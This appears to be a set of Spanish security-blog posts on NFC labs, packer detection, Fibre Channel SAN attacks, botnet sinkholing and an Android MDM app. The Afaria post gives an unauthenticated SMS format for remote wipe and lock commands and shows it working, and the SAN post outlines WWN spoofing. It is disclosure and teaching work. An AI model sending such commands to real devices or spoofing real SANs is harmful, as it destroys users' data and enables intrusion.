NFC práctico: monta tu propio laboratorio

NFC es la tecnología del futuro, o mejor dicho, del presente. Ya son muchos los lugares del mundo donde se está apostando por su uso, ya sea para micropagos, transporte, sistemas de acceso y casi todo lo que se nos pueda ocurrir (en países como Japón o Corea hace años que se usa de forma habitual). Incluso se puede realizar la lectura de tags desde un teléfono móvil con esta tecnología para realizar acciones como silenciar el teléfono, sincronizar datos, etc.

NFC se basa en el estándar ISO/IEC 18092, publicado a finales de 2003, y es compatible con otros estándares como ISO/IEC 14443 A/B (RFID) e ISO/IEC 15693 (FeliCa – Sony). Se trata, como sabréis, de una tecnología de comunicación inalámbrica de corta distancia (normalmente menos de 10 cm), alta frecuencia (13'56 Mhz) y baja velocidad (normalmente hasta 424 kbps). A diferencia de RFID, NFC es capaz de realizar una comunicación bidireccional, y, a diferencia del Bluetooth, su tiempo de establecimiento de la comunicación es mucho menor.

El objetivo de este post no es explicar las virtudes y funcionamiento de NFC, sino dar unos consejos útiles para montar un laboratorio para jugar con esta tecnología. Lo primero que necesitamos es un lector/escritor NFC. Después de dar muchas vueltas, se puede  llegar a la conclusión de que los más usados para este tipo de menester son:

• ACR122U (60$ aprox.)
• RC-S330/360 (80$ aprox.)
• SCL3710/11 (35$ aprox.)
• PN532 Breakout Board (50$)

Los tres primeros llevan un chip PN53x, usan la pila PC/SC para comunicarse y se conectan mediante USB. Existe otra alternativa, la cuarta opción, que es comprar una placa con este tipo de chip, fabricada por Adafruit Industries. Esto nos da más flexibilidad en cuanto al modo de comunicación con el ordenador y muchas más cosas que podéis ver en su especificación. Hay que tener en cuenta que hay que elegir dispositivos que sean compatibles con los proyectos más activos en cuanto a desarrollo de NFC, como pueden ser libnfc y nfcpy. También se puede usar un smartphone como el Samsung Galaxy Nexus, por ejemplo, pero de cara a jugar y programar nuestras propias herramientas creo que es mejor trabajar con un lector/escritor con conexión al ordenador.

Me voy a centrar en la placa NFC que he comentado (PN532). Cuando se recibe en casa no está lista para trabajar, hay que soldar los pines para elegir el interfaz de comunicación deseado (UART, SPI o I2C). En mi caso, al usar un cable FTDI para la conexión con el ordenador, tenía que soldar también estos pines (los 5 pines de la parte izquierda de la imagen de más abajo). Hay páginas que explican muy bien los pasos a seguir para realizar esta  tarea, además de poder preguntar dudas en el propio foro de Adafruit.

Con esto tenemos el hardware preparado, ahora toca instalar el software apropiado. El proyecto que parece más maduro en cuanto a desarrollo de herramientas NFC es libnfc, creado a principios de 2009. En Python tenemos pynfc y nfcpy, siendo este último el más activo y el más recomendable de los dos. A la hora de instalar libnfc tenemos, además de las instrucciones de la página oficial, otras páginas y foros que nos ayudarán en esta labor. Hablando de Ubuntu, los pasos que se pueden seguir para su instalación son los siguientes (las versiones de paquetes pueden variar):

 $ sudo apt-get install libusb-dev libpcsclite-dev
 $ sudo apt-get install libusb-0.1-4 libpcsclite1 libccid pcscd libftdi1
 $ wget http://libnfc.googlecode.com/files/libnfc-x.x.x.tar.gz
 $ tar -xvzf libnfc-x.x.x.tar.gz
 $ cd libnfc-x.x.x
 $ ./configure --with-drivers=pn532_uart --enable-serial-autoprobe
 $ make clean
 $ make
 $ make install

Si todo está bien, colocando una tarjeta RFID o un tag NFC encima del lector y usando el comando nfc-list deberíamos ver algo parecido a esto:

Una vez llegados a este punto ya tenemos el laboratorio casi preparado. Sólo nos falta algo que leer. Podemos optar por las muchas tarjetas de gimnasios, transporte, sistemas de acceso, etc. de tecnología RFID que usamos diariamente, pero, ya que estamos hablando de NFC, lo suyo sería buscar una tarjeta de pago sin contacto de alguna entidad bancaria o similar. Además, también podemos comprar unos cuantos NFC Forum tags para hacer pruebas con nuestros flamantes smartphones equipados con NFC. En posteriores posts daremos algunas ideas de lo que podemos hacer ahora que tenemos nuestro laboratorio listo.

Jose Miguel Esparza
S21sec ACSS
(Blog / Twitter)

Problemas en la detección de packers

Es común encontrarse malware que llevan como medida de  protección un packer, esto dificulta tanto la parte de detección por parte de las casas de antivirus como por parte del analista cuando realiza la ingeniería inversa.

Un Packer es  un programa que toma como entrada un fichero ejecutable y devuelve otro fichero ejecutable con la misma funcionalidad pero con ciertas protecciones añadidas que dificultan su análisis.

En el análisis del binario nos podemos encontrar con ciertas dificultades, una de ellas es que al contener el packer existirán diversas partes del binario que estarán cifradas, esto dificulta el análisis del código de manera que tendremos que extraer el packer para poder ver el contenido del binario. Existen multitud de packers, de los mas famosos podemos encontrar UPX, FSG, Themida etc…

El primer paso para poder ver el contenido del binario es averiguar con que Packer ha sido empaquetado. Es en este paso es donde intervienen ciertos programas que se encargan de analizar la cabecera del binario para tratar de analizar con que Packer esta protegido dicho binario.

Este tipo de programas no son 100% fiables y son capaces de darnos falsos positivos y de esto trata la entrada de hoy. 

PEID

PEID es uno de esos programas capaces de dar información de como está empaquetado, estos software se basan en firmas que pueden buscar en bases de datos que se van actualizando, esas firmas se encuentran a lo largo del binario con el binario en si o bien mirando solo el Entry Point.

Ahora haremos la prueba con un binario

PEID nos indica que el binario está empaquetado con UPolyX. ¿Será esto cierto?

El software se puede configurar para que haga los análisis mas profundo del binario 

 Configuramos PEID de esta forma y volvemos a analizar el binario.

El packer detectado es otro, no el encontrado anteriormente, PEID se basa en firmas para la detección del tipo de packer.

RDG Packer Detector

RDG igual que PEID nos ayuda a identificar el packer con el que se haya empaquetado el binario.

También se basa en firmas igual que PEID, pero en este caso también nos da un resultado distinto.

 

RDG detecta el packer por heurística y nos da un resultado distinto a PEID.

¿Fallo en las comprobaciones automáticas?

Una pregunta que nos podemos hacer es porque PEID y RDG han detectado packers distintos, y en el caso de PEID si se configuraba para que la comprobación se hiciera de manera más profunda detectaba un packer distinto, esto es debido a que este tipo de programas se basan en firmas, si miramos el fichero de firmas

Como las firmas se van actualizando, hay firmas que solo están completadas la mitad de la firma, si buscamos en algunos casos de los packers detectados, como Upolyx, Aspack y Extreme Protector, nos encontramos.

 

Este es el caso de Upolyx, detecta la firma porque parte delos Bytes del packer se encuentran en el binario 

Parte de la firma del packer de Aspack también se encuentra en el binario.

 Y por último el packer detectado por RDG que encontraba Xtreme Protector, también es encontrado en el binario.

Además algunos de los packers permiten poner una firma falsa, de manera que dificulta la detección en base a éstas.

Detección del packer manualmente

Otra de las opciones que disponemos es de analizar el binario manualmente con un debugger, no es tan rápido como usar PEID o RDG pero nos aseguramos de tener mas fiabilidad a la hora de detectar el packer.

Para el análisis usaremos OllyDBG, abrimos OllyDBG y empezamos. 

Cargamos el binario a analizar, nos dirigimos al image base + 1000h bytes (es donde se mapea/empieza el código, para este caso), el packer sustituye al programa colocándose él en esta dirección, es por eso que veremos el contenido cifrado.

En la ejecución del programa en primer lugar se ejecuta el código del packer, que se encargará de descifrar y descomprimir el código previamente protegido.

Colocamos un breakpoint y vamos ejecutando el programa en Olly para ver si podemos ver que packer es.

En la ejecución del sample el Olly podemos ver el string “oreans” ; oreans es la empresa que distribuye software comercial como Themida, es posible que se trate de este software así que seguimos buscando entre los distintos productos que distribuye la compañía, hasta encontrar el software. 

Se trata de WinLicense, uno de los productos que distribuye la empresa Oreans para la protección de binarios, que en este caso ha sido utilizado para proteger malware de la detección de antivirus y de un posible análisis del mismo.

El uso de los packers es muy frecuente cuando se trata de malware, muchos aprovechan packers como por ejemplo UPX, los modifican y los usan para volver sus samples modificados indetectables.

Las mafias profesionales ya usan packers privados que son indetectables por los motores antivirus, además en el mundo Underground ya existen servicios que por unos pocos dólares pueden empaquetar un binario con un packer/cripter privado de manera que será difícil detectarlo por los motores antivirus. 

Marc Rivero López

S21Sec ACSS

(Blog/Twitter)

Inauguración oficial de la Agencia de Certificaciones de Ciberseguridad

El Salón de Actos de la Facultad de Psicología de la Universidad Autónoma de Madrid ha sido el escenario escogido para el acto de inauguración oficial de la Agencia de Certificaciones de Ciberseguridad, el pasado lunes 14 de mayo. Durante el acto, que ha sido apoyado por el Secretario de Estado de Seguridad D. Ignacio Ulloa, se presentaron los objetivos y fundamentos de este nuevo órgano, nacido de la colaboración entre el Instituto de Ciencias Forenses y S21sec.

La Agencia se encargará de gestionar las certificaciones y acreditaciones de Ciberseguridad y asegurar la competencia de las entidades y personas certificadas. Se trata de la primera Agencia de este tipo en España, y una de las primeras en Europa, colocando nuestro país como pionero en la materia.

El acto de presentación, ha contado, además de con el Secretario de Estado de Seguridad, con la presencia del Rector de la UAM, D. José María Sanz, el Presidente del Consejo Social, D. Manuel Pizarro y de los Directores de la Agencia de Certificaciones de Ciberseguridad D. Ricardo Vea de S21sec y D. Álvaro Ortigosa de la Escuela Politécnica Superior de la UAM.

Dpto. Marketing

Ataques en redes Fibre Channel

Fibre Channel (con topología Fabric) es una tecnología utilizada habitualmente para montar redes de almacenamiento SAN.

Este tipo de redes tradicionalmente no ha sido objetivo de atacantes casuales debido a su dificultad (muchas diferencias con la tecnología TCP/IP habitual) y a su localización (normalmente segmentos internos de grandes empresas).

Esto ha hecho que el riesgo percibido y por lo tanto el esfuerzo dedicado por las compañías a securizar este tipo de redes normalmente no haya sido muy alto.

Sin embargo con la tendencia actual, de atacantes cada vez más profesionales, este tipo de actividades maliciosas se ha vuelto más común.

Y es que las redes Fibre Channel son un objetivo muy jugoso para este tipo de ataques ya que es en ellas donde reside la mayor parte de la información de una compañía.

Los ataques más habituales en redes SAN son:

- Compromiso de las contraseñas de administración (a nivel de interfaz IP).
- Suplantación de WWN o WWN-spoofing (a nivel Fibre Channel).

Aunque por supuesto existen muchos otros.

NOTA: WWN o World Wide Name es el identificador de nodo en una red Fibre Channel.

Compromiso de la administración

La forma de ataque más habitual contra redes SAN consiste en el compromiso de las credenciales de administración utilizadas para configurar los dispositivos, normalmente desde un interfaz Web accesible desde la red IP.

Esto puede producirse por distintas vías, por ejemplo:

- PCs de administradores infectados.
- Uso de protocolos de administración inseguros (HTTP, Telnet).
- Conservar las credenciales por defecto.
- Uso de contraseñas débiles.

Una vez el atacante ha obtenido acceso al panel de control de algún componente de la red SAN, puede obtener información valiosa sobre la configuración de la misma para intentar conseguir acceso a los discos virtuales que le interesen desde otro equipo conectado a la red Fibre Channel.

Suplantación de WWN

Este ataque se puede producir cuando no existe un mecanismo efectivo de control de acceso a los recursos de la red SAN.

En redes Fibre Channel no es habitual el uso de protocolos de autenticación que permitan comprobar que el nodo que solicita acceso a un disco virtual es quien dice ser, de forma que muchas veces el control de acceso a un recurso se realiza solamente en base al WWN del nodo.

El uso de los WWN para segmentar una red SAN se considera adecuado, pero de cara a la seguridad no es la mejor opción ya que los WWN se pueden cambiar de forma similar a como se cambian las direcciones MAC en las tarjetas de red Ethernet.

Para realizar un ataque de este tipo el atacante necesita:

- Tomar control de un equipo conectado a la red Fibre Channel.
- Averiguar el WWN de un nodo que tenga acceso a la información que busca.

Tomar control de un equipo conectado a la red Fibre Channel no suele ser una tarea compleja ya que el atacante ya está dentro de nuestra red y probablemente ya tenga acceso a varios sistemas. Solo necesita que uno de ellos esté conectado a la SAN.

Para averiguar un WWN interesante puede, por ejemplo:

- Comprometer la administración de algún dispositivo de la red SAN, como ya se ha visto.
- Enumerar los HBAs conectados a la red (si el controlador lo permite).
- Realizar un barrido de los WWNs validos. Los WWNs se componen de 8 bytes, pero la mayoría de ellos son fijos para un mismo fabricante y modelo de HBA; de forma que normalmente solo es necesario realizar un barrido de los 2 o 3 últimos bytes.

Conclusiones

Las redes SAN son un elemento más a la hora de securizar una organización y no
deben ser pasadas nunca por alto en un proceso de este tipo ya que son, cada vez más, objetivo de ataques profesionales.
 

Ramón Pinuaga

Dept. ACSS S21SEC

Nace la Agencia de Certificaciones de Ciberseguridad creada por S21sec y el Instituto de Ciencias Forenses y de la Seguridad

En colaboración con el Instituto de Ciencias Forenses y Seguridad, vinculado a la Escuela Politécnica Superior de la Universidad Autónoma de Madrid, hemos creado la Agencia de Certificaciones de Ciberseguridad. Pionera en nuestro país, su misión es gestionar las Certificaciones de Ciberseguridad (CCS) para particulares, y las Acreditaciones de Ciberseguridad (ACS) para organizaciones.

La Agencia de Certificaciones de Ciberseguridad, nace con la vocación de velar por la fiabilidad, así como de dar fe documental de la superación de los criterios de evaluación y aceptación de la normativa de certificación en materia de seguridad digital.

El nuevo escenario de globalización y de gestión de riesgos en las Infraestructuras Críticas exige que los gobiernos y las empresas se preparen para garantizar su correcto funcionamiento. Esto supone para España situarse entre los líderes en este sector. Está pensada para dar servicio, tanto a aquellas personas cuya labor tenga que ver con tareas de seguridad del ciberespacio, como a cualquier organización que tenga que proteger datos confidenciales de clientes, personal, alumnos o productos.

Entre sus funciones principales se encuentra la de garantizar que las evaluaciones de conocimientos y destrezas se realizan mediante procedimientos rigurosos, fiables y contrastables. Asimismo, se encargará de dar fe documental de que las personas u organizaciones certificadas cumplen los requisitos contemplados en los criterios de certificación en cuanto a la capacitación idónea, actualización de conocimientos, y compromiso de buenas prácticas para el desempeño de tareas de ciberseguridad.

También, velará por el cumplimiento de la normativa de certificación y del Código de Conducta Ético-Profesional, así como de la aplicación del régimen disciplinario que contemplan. Además, se encargará de la concesión de la Certificación de Ciberseguridad (CSS), un sello de calidad que acredita la competencia de una persona u organización (organismo oficial, empresa o centro educativo) para desempeñar este tipo de labores.

La creación de las Certificaciones de Ciberseguridad del ICFS de la UAM supone un acontecimiento sin precedentes en este campo no sólo en España sino en Europa, ya que son las primeras surgidas de una institución pública española.

El próximo 14 de mayo tendrá lugar el acto de inauguración oficial de la Agencia en el salón de actos de la Facultad de Psicología de la UAM con la presencia del Rector de la UAM, D. José María Sanz, del Secretario de Estado de Seguridad, D. Ignacio Ulloa, y del Presidente del Consejo Social, D. Manuel Pizarro. Además, presentarán el proyecto los Directores de la Agencia de Certificaciones de Ciberseguridad D. Ricardo Vea de S21sec y D. Álvaro Ortigosa de la Escuela Politécnica Superior de la UAM.

Más información sobre la Agencia de Certificaciones en Ciberseguridad en http://acc.icfs.uam.es/.

Dpto.Marketing

¿Qué es un Sinkhole?

Hablando sobre naturaleza, un sinkhole - término inglés - define un hundimiento de tierra u hoyo. En el mundo de informática, sin embargo, se denomina sinkhole a una técnica de defensa contra botnets que puede neutralizar la misma completamente, puesto que trata de controlar el punto al que se conectarán los ordenadores infectados, atrayéndolos como si fuese un agujero de verdad.

Para tratar con un ejemplo real, vamos a ver cómo está siendo “sinkholeado” el troyano Mebroot, también conocido como Sinowal/Torpig. Antes de nada, debemos mencionar que esta familia de malware no se conecta únicamente a un único panel de control, sino que utiliza un algoritmo para generar los nombres de dominio a los que se conectará. 

Peticiones realizadas desde una maquina infectada

La generación de dominios continúa hasta que uno de ellos resuelva y se compruebe su validez. Esta técnica no es novedosa, y se utiliza para que la botnet sea más difícil de destruir, a la vez que permite poder recuperar la botnet en cualquier momento registrando un dominio futuro que se sepa que va a ser generado el día X. No obstante, tiene su desventaja, y es que cualquiera que conozca o descifre el algoritmo de generación de dominios podría ir un paso por delante y registrar uno de los dominios a los que se conectarán los bots.

Como veremos a continuación, justo lo escrito arriba está pasando con la muestra que hemos analizado, y es que el servidor  que finalmente se pudo resolver dicho día envió el siguiente mensaje:

Respuesta descifrada desde del C&C

El bot en cuestión recibió el comando NOOP junto con la nota pwned, indicándole que se quedara en espera (NO OPeration) y paró de generar más dominios.

Con esto, podemos decir que el servidor malicioso ha sido reemplazado por uno controlado presuntamente por investigadores de seguridad, y los propietarios de ese servidor podrán obtener inteligencia acerca del tamaño de la botnet, las IPs de las víctimas, hasta avisar los proveedores de servicios de internet de una infección posible.

Jozsef Gegeny

S21sec ACSS

Modelo Cliente-Servidor en dispositivos móviles

Analizando la aplicación Sybase Afaria para dispositivos Android (gratuita a través del play.google.com), podemos ver, entre otras, que como características tiene la posibilidad de gestionar ciertas acciones de forma remota.

Tras solicitar por dos veces la versión de evaluación de la maqueta (Sybase Afaria Server) que el propio fabricante dice ofrecer de forma gratuita y no obtener ningún tipo de respuesta, en un plazo de un año, opté por realizar el análisis sin el debido contexto, a modo experimental y sabiendo que cualquier conclusión ha de ser contrastada desplegando un entorno Cliente-Servidor adecuado.

A grandes rasgos, tenemos cinco posibles comandos de gestión remota del dispositivo.

- Hard-Reset.
- Hard-Reset incluyendo el borrado de la tarjeta SD.
- Borrado de datos PIM.
- Bloqueo de dispositivo.
- Desbloqueo de dispositivo.

Y la gestión de dichos comandos se realiza a través de la recepción de un SMS con un formato especifico.

Perfecto, para empezar, desempaquetemos la aplicación y veamos como se gestionan los SMS.

Para desempaquetar la aplicación, decompilar el código y obtener los recursos en texto plano, en mi caso, me serví de las herramientas dex2jar, apktool y jd-gui.

$ apktool d -s Afaria.apk Afaria_Desempaquetada
$ dex2jar.sh Afaria_Desempaquetada/classes.dex

En el fichero AndroidManifest.xml podemos ver que la gestión de SMS la realiza la clase AfariaSMSlistenerBroadcastReceiver.

  <receiver android:name=".AfariaSMSlistenerBroadcastReceiver">
    <intent-filter>
      <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
  </receiver>

La decompilación del código utilizando jd-gui es directa abriendo el fichero creado por dex2jar (classes_dex2jar.jar)

Siguiendo el flujo de ejecución, desde la recepción de un SMS, veremos que el tratamiento de posibles comandos lo lleva a cabo el método ‘SeedData.processCommand’ y no hay referencias a posibles verificaciones de integridad ni procedencia del mismo, exclusivamente se centra en verificar que el contenido del mismo cumple ciertos requisitos.

Analizando con más detalle el método ‘processCommand’ podremos deducir que el formato correcto de un SMS para la gestión remota ha de ser:

[@#!Afaria][Hash de 28 bytes de longitud][$\$CMD:][COMANDO]
(Los corchetes separan los diferentes campos del SMS, no forman parte del mismo)

Los posibles comandos son: WIPEALLDATA, WIPEPIMDATA, WIPEAPPDATA, LOCKDEVICE y UNLOCKDEVICE.

Con estos datos, ya podemos hacer una primera verificación y ver si realmente hay o no comprobaciones de integridad o procedencia.

$ emulator -avd DRDLABBOX &
$ adb install Afaria.apk

Una vez instalada y ejecutada, nos conectamos a la consola del emulador (habitualmente en el puerto 5554, pero siempre podemos confirmarlo con ‘adb devices’) y realizar el envío del SMS.

$ telnet 127.0.0.1 5554
sms send 15555215554 @#!Afaria0123456789ABCDEF0123456789AB$\$CMD:LOCKDEVICE

Como podemos ver en los propios logs del emulador (adb shell logcat), todo ha ido como esperábamos y el dispositivo ha sido bloqueado:

I/getSMSseedInfo(618): Requeried message count: 1
I/getSMSseedInfo(618): content://sms/inbox    summary: row[1] x column[4]
I/getSMSseedInfo(618): _id    1
I/getSMSseedInfo(618): thread_id    2
I/getSMSseedInfo(618): address    15555215554
I/getSMSseedInfo(618): body    @#!Afaria0123456789ABCDEF0123456789AB $\\$CMD:LOCKDEVICE
I/getSMSseedInfo(618): processCommand:@#!Afaria0123456789ABCDEF0123456789AB $\\$CMD:LOCKDEVICE
I/System.out(618):  The First Part of the SMS Message Is : 0123456789ABCDEF0123456789AB
I/System.out(618):  The rest of the SMS Message Is : $\\$CMD:LOCKDEVICE
V/LockPatternUtils(81): Initialized lock password salt
D/LockPatternUtils(81): lock password file changed



Para tener una segunda verificación de que no ha habido ningún comportamiento no esperado, podemos monitorizar el proceso de la aplicación con DDMS para ver los métodos utilizados o generar un grafo para tener una visión totalmente completa del flujo de ejecución seguido desde el envío del SMS.

Para ello, partimos de una imagen de Android limpia, instalamos nuevamente la aplicación (y ejecutamos), y utilizamos la herramienta DDMS para monitorizar el proceso.

Monitorizacion de proceso mediante ddms:
1. Seleccionar proceso a monitorizar
2. Seleccionar opción ‘Start Method Profiling’
3. Enviar SMS
4. Seleccionar opción ‘Stop Method Profiling’

Siguiendo estos pasos se nos abrirá la aplicación ‘traceview’, en la que podremos ver la pila de llamadas.



Finalmente si quisiéramos generar el grafo en base a la traza generada anteriormente con ddms, podemos utilizar dmtracedump.

$ dmtracedump -g trace.png ddms.trace

Con todo esto y en el contexto que se mencionó al inicio (sin un despliegue real del modelo Cliente-Servidor), hay datos suficientes para decir que es posible la ejecución remota de los comandos de gestión implementados en base al numero telefónico objetivo.

Pero más allá de un error de diseño en si mismo, destacaría que el análisis de aplicaciones para dispositivos móviles no siempre ha de centrarse en los conceptos inherentes a la nueva tecnología, a veces los conceptos clásicos; lógica de la aplicación, programación segura o los diferentes factores de autentificación, pueden darnos vectores de análisis muy interesantes.

Eugenio Delfa
Dept. ACSS S21SEC